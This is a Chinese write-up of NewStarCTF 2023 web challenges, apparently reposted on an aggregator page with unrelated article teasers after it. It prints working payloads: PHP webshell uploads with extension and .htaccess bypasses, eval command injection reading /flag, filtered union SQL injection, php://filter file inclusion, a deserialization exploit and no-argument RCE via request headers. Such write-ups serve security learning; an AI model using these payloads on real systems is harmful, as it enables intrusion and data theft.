[NewStarCTF 2023] web题解

news2025/1/23 1:21:30

文章目录

  • WEEK1
    • 泄漏的秘密
    • Begin of Upload
    • Begin of HTTP
    • ErrorFlask
    • Begin of PHP
    • R!C!E!
    • EasyLogin
  • WEEK2
    • 游戏高手
    • include 0。0
    • ez_sql
    • Unserialize?
    • Upload again!
    • R!!C!!E!!


WEEK1

泄漏的秘密

打开题目,提示有敏感信息泄露
在这里插入图片描述直接扫一下目录,发现有./www.zip
在这里插入图片描述
访问然后下载下来,解压到桌面
在这里插入图片描述

源码和robots.txt分别是两部分flag

Begin of Upload

右键看下源码,发现对上传文件后缀名有检测
这里的检测是后缀名只需要出现合法的就行
在这里插入图片描述我们上传1.jpg的一句话木马
然后抓包修改文件名为1.jpg.php
在这里插入图片描述上传成功,然后命令执行得到flag
在这里插入图片描述

Begin of HTTP

打开题目,按照要求一步步来
先是GET传参,随便给个值
然后是POST传参,参数值藏在源码处
在这里插入图片描述然后分别是修改cookie为ctfer;修改浏览器为NewStarCTF2023;修改Referer为newstarctf.com
在这里插入图片描述
最后一步只能bp抓包修改为127.0.0.1
(这里用XFF不行,我用的是X-Real-IP)
在这里插入图片描述

ErrorFlask

打开题目,提示我们传参两个数,然后帮我们计算
在这里插入图片描述我们随便传两个数
告诉我们不是ssti,后面还有计算结果
在这里插入图片描述提示flag在源码
我们修改一下其中一个为字母,让其出现报错
果然出现了/app/app.py源码,得到flag
在这里插入图片描述

Begin of PHP

源码

 <?php
error_reporting(0);
highlight_file(__FILE__);

if(isset($_GET['key1']) && isset($_GET['key2'])){
    echo "=Level 1=<br>";
    if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){
        $flag1 = True;
    }else{
        die("nope,this is level 1");
    }
}

if($flag1){
    echo "=Level 2=<br>";
    if(isset($_POST['key3'])){
        if(md5($_POST['key3']) === sha1($_POST['key3'])){
            $flag2 = True;
        }
    }else{
        die("nope,this is level 2");
    }
}

if($flag2){
    echo "=Level 3=<br>";
    if(isset($_GET['key4'])){
        if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){
            $flag3 = True;
        }else{
            die("nope,this is level 3");
        }
    }
}

if($flag3){
    echo "=Level 4=<br>";
    if(isset($_GET['key5'])){
        if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
            $flag4 = True;
        }else{
            die("nope,this is level 4");
        }
    }
}

if($flag4){
    echo "=Level 5=<br>";
    extract($_POST);
    foreach($_POST as $var){
        if(preg_match("/[a-zA-Z0-9]/",$var)){
            die("nope,this is level 5");
        }
    }
    if($flag5){
        echo file_get_contents("/flag");
    }else{
        die("nope,this is level 5");
    }
} 

分析一下

  1. level 1利用弱比较md5值相等
  2. level 2利用MD5和sha1函数无法处理数组,进行数组绕过
  3. level 3同样利用数组绕过
  4. level 4利用php弱类型比较
  5. level 5则是利用key3数组绕过正则匹配;利用extract()函数的变量覆盖漏洞,传入非空字符即可

得到flag
在这里插入图片描述

R!C!E!

源码

 <?php
highlight_file(__FILE__);
if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){
    $password=md5($_POST['password']);
    $code=$_POST['e_v.a.l'];
    if(substr($password,0,6)==="c4d038"){
        if(!preg_match("/flag|system|pass|cat|ls/i",$code)){
            eval($code);
        }
    }
} 

分析一下,第一个if语句判断条件为上传的password参数的MD5值前六位为c4d038;第二个if语句是PHP变量名解析特性和简单的命令执行过滤
首先利用脚本爆破出该数

import hashlib

prefix = "c4d038"  # 目标MD5值的前六位
prefix_bytes = prefix.encode()  # 将前缀转换为字节串

for i in range(100000000):
    b = i.to_bytes(22, 'big')
    m = hashlib.md5(str(i).encode()).hexdigest()
    
    if m.startswith(prefix):
        print(i)
        print(m)
        break

爆出来为114514
然后是利用php的解析特性,[会被解析成下划线_;和反引号去绕过对system函数的过滤,反斜杠绕过flag,tac替换cat命令
payload

password=114514&e[v.a.l=echo `tac /fla\g`;

得到flag
在这里插入图片描述

EasyLogin

打开题目发现是登录框,尝试注册admin
发现用户已存在
我们随便注册一个用户为hacker,密码为123456
登录并抓包,发现密码是MD5加密的
在这里插入图片描述然后放行,发现中途跳转一个php界面
我们丢到重放器,发现是页面302状态,并且出现了提示
在这里插入图片描述
我这里因为版本问题,我保存下来用vscode打开
在这里插入图片描述按照提示,果然没有第七行(成功被骗)
结合前面解题思路,老老实实爆破密码

打开bp,payload处理修改一下
爆出对应的MD5值,丢到在线网站得到密码为000000
在这里插入图片描述

然后就是登录进入终端
ctrl+c然后ctrl+d退出执行的程序chat
在这里插入图片描述
没什么发现,我们刚刚在登陆抓包已经知道中途会跳转
同样试试
结果成功抓到这个重定向的php页面
在这里插入图片描述得到flag
在这里插入图片描述

WEEK2

游戏高手

打开题目,发现是小游戏(题目跟最近打的SHCTF比较像)
查看下js代码
在这里插入图片描述发现获得胜利的条件是分数大于100000
我们在控制台输入下面语句

var gameScore = 10000000;
gameover(); 

回车然后得到flag
在这里插入图片描述

include 0。0

源码

 <?php
highlight_file(__FILE__);
// FLAG in the flag.php
$file = $_GET['file'];
if(isset($file) && !preg_match('/base|rot/i',$file)){
    @include($file);
}else{
    die("nope");
}
?> 

简单的文件包含,这里过滤了常见的转换过滤器base和rot
我们可以用convert.iconv.UTF-8.UTF-16
payload

?file=php://filter/read=convert.iconv.UTF-8.UTF-16/resource=flag.php

得到flag

在这里插入图片描述

ez_sql

进来随便点一个,发现有参数id
我们先fuzz测试一下过滤了什么
抓包,随便用一个字典
在这里插入图片描述
发现select被过滤了,那么我们用大小写绕过

首先爆一下字段数

?id=-1' union SelECt 1,2,3,4,5 --+

发现字段数为5
爆库名

?id=-1' union SelECt database(),2,3,4,5 --+

在这里插入图片描述

然后经过再次测试,发现information_schema.tableswhere都被过滤了
这里用mysql.innodb_table_statswHere代替
(多次尝试,发现回显的位置在5而不是1,开始卡了很久没回显)
爆表名

?id=-1' union SelECt 1,2,3,4,group_concat(table_name) from mysql.innodb_table_stats wHere '1 --+

在这里插入图片描述

因为我们用的是mysql.innodb_table_stats,我们无法查到列名
所以继续用无列名注入

?id=-1' union SelECt 1,2,3,4,group_concat(`1`) from (SelECt 1 union SelECt * from ctf.here_is_flag)a wHere '1 --+

得到flag
在这里插入图片描述

Unserialize?

源码

 <?php
highlight_file(__FILE__);
// Maybe you need learn some knowledge about deserialize?
class evil {
    private $cmd;

    public function __destruct()
    {
        if(!preg_match("/cat|tac|more|tail|base/i", $this->cmd)){
            @system($this->cmd);
        }
    }
}

@unserialize($_POST['unser']);
?> 

由于是private成员变量,所以序列化后长度会加2,多两个空白符
exp

<?php
class evil {
    private $cmd;
    function __construct($cmd1){
        $this->cmd=$cmd1;
    }
}

$a=new evil('ls /');
echo serialize($a);
?> 

手动添加%00
在这里插入图片描述得到flag
在这里插入图片描述

Upload again!

打开题目
在这里插入图片描述先上传最普通的马1.php,发现被检测了
在这里插入图片描述

我们尝试修改下后缀为.jpg,发现还是不行

在这里插入图片描述

在后面尝试修改MIME以及文件头,都不能绕过
猜测是对一句话木马的<?过滤,那么我们修改为js马

<script language="php">eval($_POST['shell']);</script>

发现可以上传,不过没有被解析成php

在这里插入图片描述
那么我们可以用.htaccess配置文件攻击,让jpg文件被解析成php
首先创建.htaccess文件,写入

<FilesMatch "1.jpg">
SetHandler application/x-httpd-php
</FilesMatch>

上传成功后,上传名为1.jpg的js马

在这里插入图片描述命令执行一下
在这里插入图片描述得到flag
在这里插入图片描述

R!!C!!E!!

打开题目,提示有信息泄露
在这里插入图片描述
这里我是dirsearch扫了一下目录(扫了很久)
扫完后翻翻发现有git泄露
在这里插入图片描述直接用工具
先运行工具,然后访问./.git/
在这里插入图片描述源码如下

<?php
highlight_file(__FILE__);
if (';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) {
    if(!preg_match('/high|get_defined_vars|scandir|var_dump|read|file|php|curent|end/i',$_GET['star'])){
        eval($_GET['star']);
    }
}

一眼无参RCE,然后过滤了很多函数
这里我们用的是getallheaders()函数
我们先看看http头部信息

?star=print_r(getallheaders());

在这里插入图片描述然后我们选择添加命令在User-Agent那里
payload

?star=eval(next(getallheaders()));

得到flag
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1101924.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Verilog编译预处理

文章目录 一、简介二、宏定义define三、文件包含include四、时间尺度timescale五、条件编译ifdef参考 一、简介 编译预处理是Verilog HDL编译系统的一个组成部分。 Verilog HDL编译系统通常先对这些特殊的命令进行预处理&#xff0c;然后将预处理的结果和源程序一起在进行通常…

Python —— hou.Node class

Houdini内所有节点&#xff08;Object、SOP、COP等&#xff09;的基类&#xff0c;该类的实例对应houdini内的节点&#xff1b; 每个节点都有一个唯一的路径&#xff08;定义其在节点树内的位置&#xff09;&#xff1b;节点路径层次结构类似于文件系统中的文件和文件夹的层次结…

ant design DatePicker禁用之前的时间

1、代码 <DatePicker fieldProps{disabledDate: (current: any) > {return current < moment().startOf(day);}}/>2、效果

正点原子嵌入式linux驱动开发——Linux设备树

在前面系统移植的过程中多次提到“设备树”这个概念和创建自己的设备树。但是并没有在TF-A和uboot里说设备树的原理&#xff0c;因为相对比较复杂。 本章就来详细的谈一谈设备树。掌握设备树是Linux驱动开发人员必备的技能&#xff01;因为在新版本的Linux中&#xff0c;ARM相…

icg模块clock gating解析

// 两种形式&#xff1a; 与门形式 或门形式 三个用途&#xff1a; 用于关断时钟&#xff0c;降低功耗用于动态时钟切换是防止毛刺的产生用于时钟分频 解析&#xff1a;与门形式 解析&#xff1a;或门形式

Mybatis对数据库进行增删查改以及单元测试

这篇写的草率了&#xff0c;是好几天前学到&#xff0c;以后用来自己复习 UserInfo import lombok.Data;Data public class UserInfo {private int id;private String name;private int age;private String email;//LocalDateTime可用于接收 时间}Mapper UserMapper pack…

如何获取方法上声明的注解

开发过程当中部分场景需要获取到方法或类上的注解&#xff0c;但是经常会有无法渠道注解的情况&#xff0c;这种情况很可能是该注解所在的类是一个代理类&#xff0c;比如被AOP动态代理【注意&#xff1a;通过】。本文以CGLIB为例&#xff0c;说明为什么无法取到方法或类上的注…

读《中国省级移动政务服务报告2023》

报告地址&#xff1a; 中国省级移动政务服务报告2022 https://www.digitalelite.cn/h-nd-7846.html 中国省级移动政务服务报告2023 中国省级移动政务服务报告2023 报告分为 引言、评估方法、概貌、指数、标杆、建言 六个部分。 一些思考 移动政务服务应用针对各省的常驻人口…

vueday02——使用NTableData

1.下载naivueui 2.按需导入&#xff0c;不要全局导入 注意不要导入错误组件或者写错组件名称 import { NDataTable } from naive-ui 3.定义表头和数据&#xff01;&#xff01;&#xff01; n-data-table标签必须要使用数据和数据 少一个都不能正确渲染&#xff01;&#xf…

在 Android 上恢复已删除音乐的 5 种简单方法

人们经常将重要的音乐文件保存在智能手机上&#xff0c;以方便随时随地收听自己喜欢的曲目。但是&#xff0c;如果这些珍贵的音乐文件因软件故障或硬件故障而被意外删除或丢失怎么办&#xff1f;这将是许多音乐爱好者的噩梦&#xff01; 如果您也是这些人中的一员&#xff0c;…

8月PMP出成绩了,意味着什么?

之前胖圆给大家分享过&#xff0c;10月16号PMI官网将发布8.19的PMP考试成绩&#xff0c;这两天已经有学员陆陆续续收到考试通过的邮件&#xff0c;还没有收到成绩通知的学员耐心等待&#xff0c;相信努力备考的学员一定都能够顺利通过~ 还没查询成绩的宝子可以移步胖圆上一篇笔…

C/C++面试常见问题——static关键字的主要用法

首先我们要明确一下C/C的内存区域划分 在C/C中内存主要被划分为四大块&#xff0c;堆&#xff0c;栈&#xff0c;全局/静态存储区&#xff0c;代码区 而全局/静态存储区又被细分为常量区(静态常量区&#xff0c;const关键字修饰)&#xff0c;全局区(全局变量区)和静态变量区(…

LiveGBS流媒体平台GB/T28181常见问题-安全控制HTTP接口鉴权勾选流地址鉴权后401Unauthorized如何播放调用接口

LiveGBS流媒体平台GB/T28181常见问题-安全控制HTTP接口鉴权勾选流地址鉴权后401 Unauthorized如何播放调用接口&#xff1f; 1、安全控制1.1、HTTP接口鉴权1.2、流地址鉴权 2、401 Unauthorized2.1、携带token调用接口2.1.1、获取鉴权token2.1.2、调用其它接口2.1.2.1、携带 Co…

微盟盈利困局难解

又是一年“双11”临近&#xff0c;微盟(2013.HK)、有赞等国内电商SaaS头部企业之间的战斗已经悄然打响。 作为从微信生态里生长出来的第三方服务商&#xff0c;根据微盟此前公布2023年半年报&#xff0c;其营收增长背后仍难掩亏损困局。 「不二研究」据微盟财报发现&#xff…

新产品发布新闻稿推广文案怎么写?纯干货

一篇优质的新闻稿传播速度是非常快的&#xff0c;可以让产品获得大量曝光和展现&#xff0c;提高产品的知名度和口碑&#xff0c;这样的稿件撰写起来是需要掌握一定的技巧的&#xff0c;新产品发布新闻稿推广文案怎么写&#xff1f;伯乐网络传媒十多年文案撰写经验&#xff0c;…

Windows10系统开启SNMP服务

Windows10系统开启SNMP服务 1、打开控制面板&#xff0c;选择卸载程序2、点击启用或关闭Windows功能3、将SNMP协议开启&#xff08;如果有该内容请直接跳至步骤7&#xff0c;如找不到该协议请继续看步骤4&#xff09;4、找不到步骤3中内容原因&#xff1a;Windwos10 1809后更新…

Flow深入浅出系列之更聪明的分享 Kotlin Flows

Flow深入浅出系列之在ViewModels中使用Kotlin FlowsFlow深入浅出系列之更聪明的分享 Kotlin FlowsFlow深入浅出系列之使用Kotlin Flow自动刷新Android数据的策略 Flow深入浅出系列之更聪明的分享 Kotlin Flows 使生命周期对上游流有效&#xff0c;以跳过不必要的工作。这是一…

vue2打包优化-小白也可快速上手的一套

需求&#xff1a;项目过大可以使用打包优化&#xff0c;减少项目体积&#xff0c;加速页面加载&#xff0c;增强用户体验&#xff0c;跟着步骤来即可实现&#xff0c;主要是vue2的打包优化&#xff0c;不是vue3&#xff0c;文章可能有点长&#xff0c;但是很实用哈哈&#xff0…

openGauss学习笔记-102 openGauss 数据库管理-管理数据库安全-客户端接入之查看数据库连接数

文章目录 openGauss学习笔记-102 openGauss 数据库管理-管理数据库安全-客户端接入之查看数据库连接数102.1 背景信息102.2 操作步骤 openGauss学习笔记-102 openGauss 数据库管理-管理数据库安全-客户端接入之查看数据库连接数 102.1 背景信息 当用户连接数达到上限后&#…

单片机入门后该怎么学习进一步提升?

单片机入门后该怎么学习进一步提升&#xff1f; 可以将你目前会的单片机基础先整理一下&#xff0c;你看看运用这些基本的外设或者一些入门知识能做个什么东西&#xff0c;最近很多小伙伴找我&#xff0c;说想要一些单片机资料&#xff0c;然后我根据自己从业十年经验&#xff…